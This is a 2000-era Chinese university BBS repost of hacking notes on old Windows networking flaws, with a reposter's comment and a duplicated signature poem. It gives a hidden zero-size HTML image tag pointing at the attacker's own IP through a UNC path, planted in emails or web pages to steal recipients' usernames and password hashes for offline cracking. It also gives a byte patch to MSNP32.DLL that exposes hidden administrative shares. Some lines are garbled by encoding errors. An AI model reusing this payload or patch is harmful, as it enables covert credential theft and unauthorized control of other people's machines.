荔园在线
荔园之美，在春之萌芽，在夏之绽放，在秋之收获，在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: bstone (无心伤害), 信区: Hacker
标 题: 袁哥的破解集(yuange.yeah.net)
发信站: BBS 荔园晨风站 (Fri Mar 17 21:26:25 2000), 站内信件
发信人: ipxodi (乐乐~闭关苦攒论文中), 信区: Hacker
标 题: 袁哥的破解集(yuange.yeah.net)
发信站: BBS 水木清华站 (Tue Mar 14 16:41:06 2000)
说说我发现的一个新漏洞的应用吧，我发现NT系统一样有，还有并不要等到出来密码
提示时早就发出自己的密码了。WINDOWS系统访问用户权限的机器的时候把自己的用户
名密码等发出去，这可以借助邮件、主页等主动窃取密码。 主页或者邮件里面来个
<img src="file:\\ip\dir\filename" BORDER="0" HEIGHT="0" WIDTH="0">
那filename弄个没有的文件名，不看原文件谁也不知道有这么个东西。IP是自己的IP，
再借助现成的LOCKDOWN可以很方便的知道收件人（对于邮件）的IP、机器名、用户名，
如果编一下程序或者用NETXRAY还可以得到可爱的密码（加密的，但可以离线破解，
别人一点不知道），对于个人系
统如果是NT系统那有了用户名和密码一般的机器都是你自由控制了。
2000。01。15
蛱炜闯绦蚩吹絎INDOWS系统访问用户级安全系统（NT系统
就是以用户级安全控制，WIN9X一般是共享控制），提示输入密码时，如果不输入
密码（我们登录别人的系统不知道密码时往往要试试直接回车）系统自动用登录
WINDOWS的用户名、密码登录，这就泄露了密码。这是不是也是破解屏保密码的
一种方法呢？（一般屏保密码就是登录WINDOWS的
密码）。不知道NT系统有否此漏洞，如果有那就。。。！
1999。12。29
1999。12。29
裉煊钟惺栈瘢琖INDOWS的共享名后面加"$"就看不见，没想到这是在客户端处理的
服务端根本就没处理。好了，现在远程管理（共享名ADMIN$），还有别的加$的共享
保护都没用了，访问别人也方便多了，特别是有远程管理功能的机器一目了然，是不是
很爽！破解方法是系统目录下的MSNP
32。DLL文件找到16进制码8B 74 24 10 6A 24 56 E8 改成8B 74 24 10 6A FF 56 E8
就可以了。注意这文件始终是打开方式，所以你可以复制一份，修改，启动到DOS，
再覆盖原来的，再启动。我公布了共享密码校验漏洞后很多人想到用共享名加“$”
保护共享让你看不见不知道共享名所以也就没法破，看来这方法也失效了！
1999。12。28
ipxodi注：袁哥就是那个vredir.vxd的修改版的作者，
他的主页有很多关于windows网络的破解，文风很踏实，
内容完整，大家可以去他的主页看看，估计很快就没有了。
--
终日奔忙只为饥,才得有食又思衣.置下绫罗身上暖,抬头又嫌房屋低.
盖下高楼并大厦,床前缺少美貌妻.娇妻美妾都娶下,又虑出门没马骑.
将钱买下高头马,马前马后少跟随.家人招下数十个,有钱无势被人欺.
一铨铨到知县位,又说官小势位卑.一攀攀到阁老位,每日思想要登基.
一日南面坐天下,又想神仙来下棋.洞宾与他把棋下,又问那有上天梯.
上天梯子未作下,阎王发牌鬼来催. ------明.朱载育.<十不足>
裉煊钟惺栈瘢琖INDOWS的共享名后面加"$"就看不见，没想到这是在客户端处理的
ipxodi注：袁哥就是那个vredir.vxd的修改版的作者，
他的主页有很多关于windows网络的破解，文风很踏实，
内容完整，大家可以去他的主页看看，估计很快就没有了。
--
终日奔忙只为饥,才得有食又思衣.置下绫罗身上暖,抬头又嫌房屋低.
盖下高楼并大厦,床前缺少美貌妻.娇妻美妾都娶下,又虑出门没马骑.
将钱买下高头马,马前马后少跟随.家人招下数十个,有钱无势被人欺.
一铨铨到知县位,又说官小势位卑.一攀攀到阁老位,每日思想要登基.
一日南面坐天下,又想神仙来下棋.洞宾与他把棋下,又问那有上天梯.
上天梯子未作下,阎王发牌鬼来催. ------明.朱载育.<十不足>
※ 修改:·ipxodi 於 Mar 14 16:45:06 修改本文·[FROM: 202.112.101.139]
※ 来源:·BBS 水木清华站 smth.org·[FROM: 202.112.101.139]
--
☆ 来源:．BBS 荔园晨风站 bbs.szu.edu.cn．[FROM: bbs@192.168.28.23]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接：深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店